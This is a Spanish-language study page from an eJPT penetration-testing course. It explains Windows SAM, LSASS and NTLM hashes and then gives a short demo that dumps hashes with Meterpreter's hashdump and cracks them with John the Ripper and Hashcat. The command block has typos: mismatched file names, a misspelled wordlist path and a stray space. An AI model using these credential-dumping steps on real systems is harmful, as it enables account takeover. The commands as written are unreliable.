eJPT
  • 👋Welcome
  • Tools
    • 🔭Escaneo y Enumeración
  • SECTION 1: Assessment Methodologies
    • Assessment Methodologies: Information Gathering
      • Introducción a la Recopilación de Información
        • Start Quiz
      • Passive Information Gathering
      • Active Information Gathering
    • Assessment Methodologies: Footprinting & Scanning
      • Introduction
      • Networking Primer
      • Host Discovery
      • Port Scanning
      • Evasion, Scan Performance & Output
      • Page
      • Challenges
    • Assessment Methodologies: Enumeration
      • Overview
      • SMB Lesson
      • FTP Lesson
      • SSH Lesson
      • HTTP Lesson
      • SQL Lesson
    • Assessment Methodologies: Vulnerability Assessment
      • Vulnerability Assessment
      • Course Labs
  • SECTION 2: Host & Networking Auditing
    • Assessment Methodologies: Auditing Fundamentals
      • Assessment Methodologies
      • Practice
  • SECTION 3: Host & Network Penetration Testing
    • Host & Network Penetration Testing: System/Host Based Attacks
      • Introduction to Attacks
      • Windows Vulnerabilities
      • Exploiting Windows Vulnerabilities
      • Windows Privilege Escalation
      • Windows File System Vulnerabilities
      • Windows Credential Dumping
      • Linux Vulnerabilities
      • Exploiting Linux Vulnerabilities
      • Linux Privilege Escalation
      • Linux Credential Dumping
      • Conclusion
    • Host & Network Penetration Testing: Network-Based Attacks
      • Network-Based Attacks
    • Host & Network Penetration Testing: The Metasploit Framework (MSF)
      • Metasploit
        • Metasploit Fundamentals
      • Information Gathering & Enumeration
        • Nmap
        • Enumeration
      • Vulnerability Scanning
        • MSF
        • Nessus
        • Web Apps
      • Client-Side Attacks
        • Payloads
        • Automating
      • Exploitation
        • Windows Exploitation
        • Linux Exploitation
        • Post Exploitation Fundamentals
        • Windows Post Exploitation
        • Linux Post Exploitation
      • Armitage
        • Metasploit GUIs
    • Host & Network Penetration Testing: Exploitation
      • Introduction To Exploitation
      • Vulnerability Scanning Overview
      • Exploits
        • Searching For Exploits
        • Fixing Exploits
      • Shells
      • Frameworks
      • Windows
      • Linux
      • Obfuscation
    • Host & Network Penetration Testing: Post-Exploitation
      • Introduction
      • Windows Enumeration
      • Linux Enumeration
      • Transferring Files
      • Shells
      • Escalation
        • Windows Privilege Escalation
        • Linux Privilege Escalation
      • Persistence
        • Windows Persistence
        • Linux Persistence
      • Dumping & Cracking
        • Windows Password Hashes
        • Linux Password Hashes
      • Pivoting Lesson
      • Clearing
  • Host & Network Penetration Testing: Social Engineering
    • Social Engineering
  • SECTION 4: Web Application Penetration Testing
    • Introduction to the Web & HTTP Protocol
      • Web Applications
      • HTTP Protocol
        • HTTP/S Protocol Fundamentals
        • Website Crawling & Spidering
Powered by GitBook
On this page
  • Windows Password Hashes
  • SAM Database
  • NTLM (NTHash)
  • Dumping & Cracking NTLM Hashes
  • Demo: Dumping & Cracking NTLM Hashes
  • Quiz: Dumping & Cracking NTLM Hashes
  1. SECTION 3: Host & Network Penetration Testing
  2. Host & Network Penetration Testing: Post-Exploitation
  3. Dumping & Cracking

Windows Password Hashes

Windows Password Hashes

El sistema operativo Windows almacena las contraseñas de las cuentas de usuario cifradas localmente en la base de datos SAM (Administrador de cuentas de seguridad).

El hash es el proceso de convertir un dato en otro valor. Se utiliza una función o algoritmo hash para generar el nuevo valor. El resultado de un algoritmo hash se conoce como hash o valor hash.

La autenticación y verificación de las credenciales de usuario es facilitada por la Autoridad de seguridad local (L SA).

Las versiones de Windows hasta Windows Server 2003 utilizan dos tipos diferentes de hashes:

  • LM

  • NTLM

Windows desactiva el hash LM y utiliza el hash NTLM a partir de Windows Vista.

SAM Database

SAM (Security Account Manager) es un archivo de base de datos que se encarga de administrar las cuentas de usuario y las contraseñas en Windows. Todas las contraseñas de las cuentas de usuario almacenadas en la base de datos SAM están cifradas.

El archivo de base de datos SAM no se puede copiar mientras el sistema operativo está en ejecución.

El núcleo de Windows NT mantiene bloqueado el archivo de base de datos SAM y, como resultado, los atacantes suelen utilizar técnicas y herramientas en memoria para extraer los valores hash de SAM del proceso LSASS.

En las versiones modernas de Windows, la base de datos SAM está cifrada con una clave del sistema.

Nota: Se requieren privilegios elevados o administrativos para acceder e interactuar con el proceso LSASS.

NTLM (NTHash)

NTLM es una colección de protocolos de autenticación que se utilizan en Windows para facilitar la autenticación entre equipos. El proceso de autenticación implica el uso de un nombre de usuario y una contraseña válidos para autenticarse correctamente.

A partir de Windows Vista, Windows desactiva el algoritmo hash LM y utiliza el algoritmo hash NTLM.

Cuando se crea una cuenta de usuario, se cifra utilizando el algoritmo hash MD4, mientras que la contraseña original se elimina.

NTLM mejora a LM de las siguientes maneras:

  • No divide el algoritmo hash en dos partes.

  • Distingue entre mayúsculas y minúsculas.

  • Permite el uso de símbolos y caracteres Unicode.

Dumping & Cracking NTLM Hashes

Podemos extraer los hashes de contraseñas de Windows aprovechando diversas utilidades como:

  • The inbuilt meterpreter "hashdump" command

  • Mimikatz

Una vez que hayamos extraído los hashes, podemos descifrarlos mediante el uso de las siguientes utilidades:

  • John The Ripper

  • Hashcat

Demo: Dumping & Cracking NTLM Hashes

# Despues de vulnerar el sistema y de estar en el servidor
# puede realizar los siguientes pasos

# Enumeracion local basica
meterpreter > sysinfo
meterpreter > getuid
meterpreter > getprivs

meterpreter > pgrep lsass
meterpreter > migrate 7081
# Utilizar kiwi para el volcado
meterpreter > hashdump

# Copiar los hashes a un archivo de texto en el equipo del atacante
vi  hsdh.txt
# Verificar que se haya guardado
cat hashes.txt

# Usamos john the ripper, pero considerando el formato del hash
# que dependera del sistema que estamos vulnerando
john --format=NT hashes.txt
# Utiliza una lista ya definida
gzip -d /usr/share/wordlists/rockyou.txt.gz
john -format=NT hashes.txt -wordlist=/usr/shae/wordlists/rockyou.txt


# Ahora usamos hashcat
hashcat -a3 -m 1000 hashes .txt /usr/share/wordlists/rockyou.txt

Quiz: Dumping & Cracking NTLM Hashes

PreviousDumping & CrackingNextLinux Password Hashes

Last updated 8 months ago